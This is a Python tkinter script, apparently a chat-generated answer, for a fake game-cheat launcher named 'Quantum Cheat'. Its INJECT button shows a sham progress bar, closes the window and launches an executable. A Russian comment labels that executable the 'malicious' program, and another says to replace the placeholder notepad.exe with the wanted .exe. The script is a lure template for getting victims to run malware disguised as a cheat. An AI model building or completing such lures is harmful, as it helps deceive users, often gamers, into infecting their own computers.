python Copy code
import tkinter as tk
from tkinter import ttk, messagebox
import subprocess
import time
import os
import webbrowser
from PIL import Image, ImageTk # Установи: `pip install pillow`
# --- Настройка окна ---
root = tk.Tk()
root.title("Quantum Cheat")
root.geometry("500x400")
root.resizable(False, False)
root.configure(bg="#121212")
# --- Стили ---
style = ttk.Style()
style.theme_use("clam")
style.configure("TButton",
font=("Arial", 10, "bold"),
padding=10,
background="#2a2a2a",
foreground="#00ff00",
borderwidth=0,
focuscolor="#2a2a2a"
)
style.map("TButton",
background=[("active", "#1a1a1a")],
foreground=[("active", "#00ff00")]
)
style.configure("TLabel",
font=("Arial", 12, "bold"),
background="#121212",
foreground="#00ff00"
)
style.configure("TProgressbar",
thickness=20,
troughcolor="#1a1a1a",
background="#00ff00",
bordercolor="#121212"
)
# --- Логотип (если есть) ---
try:
logo = Image.open("logo.png").resize((150, 150))
logo_tk = ImageTk.PhotoImage(logo)
logo_label = ttk.Label(root, image=logo_tk, background="#121212")
logo_label.pack(pady=10)
except:
pass
# --- Заголовок ---
title_label = ttk.Label(root, text="QUANTUM CHEAT", font=("Arial", 18, "bold"))
title_label.pack(pady=5)
version_label = ttk.Label(root, text="v1.0 | By Fresenber4ik", font=("Arial", 8))
version_label.pack(pady=0)
# --- Кнопки ---
def open_site():
webbrowser.open("https://fresenber4ik.github.io/quantumcheat/")
def inject():
# Создаем окно прогресса
progress_window = tk.Toplevel(root)
progress_window.title("Injecting...")
progress_window.geometry("300x150")
progress_window.resizable(False, False)
progress_window.configure(bg="#121212")
progress_label = ttk.Label(progress_window, text="Injecting Quantum Cheat...", font=("Arial", 10))
progress_label.pack(pady=10)
progress_bar = ttk.Progressbar(progress_window, length=250, mode="determinate")
progress_bar.pack(pady=10)
# Анимация заполнения прогресс-бара
def update_progress():
for i in range(101):
progress_bar["value"] = i
progress_window.update()
time.sleep(0.03)
progress_window.destroy()
root.destroy() # Закрываем основное окно
# Запускаем "вредоносную" программу (например, блокнот)
subprocess.Popen("notepad.exe") # Замени на нужный .exe
progress_window.after(100, update_progress)
# --- Основные кнопки ---
button_frame = ttk.Frame(root)
button_frame.pack(pady=20)
inject_button = ttk.Button(button_frame, text="INJECT", command=inject)
inject_button.pack(pady=10, fill="x")
site_button = ttk.Button(button_frame, text="OFFICIAL SITE", command=open_site)
site_button.pack(pady=5, fill="x")
exit_button = ttk.Button(button_frame, text="EXIT", command=root.destroy)
exit_button.pack(pady=5, fill="x")
# --- Запуск ---
root.mainloop()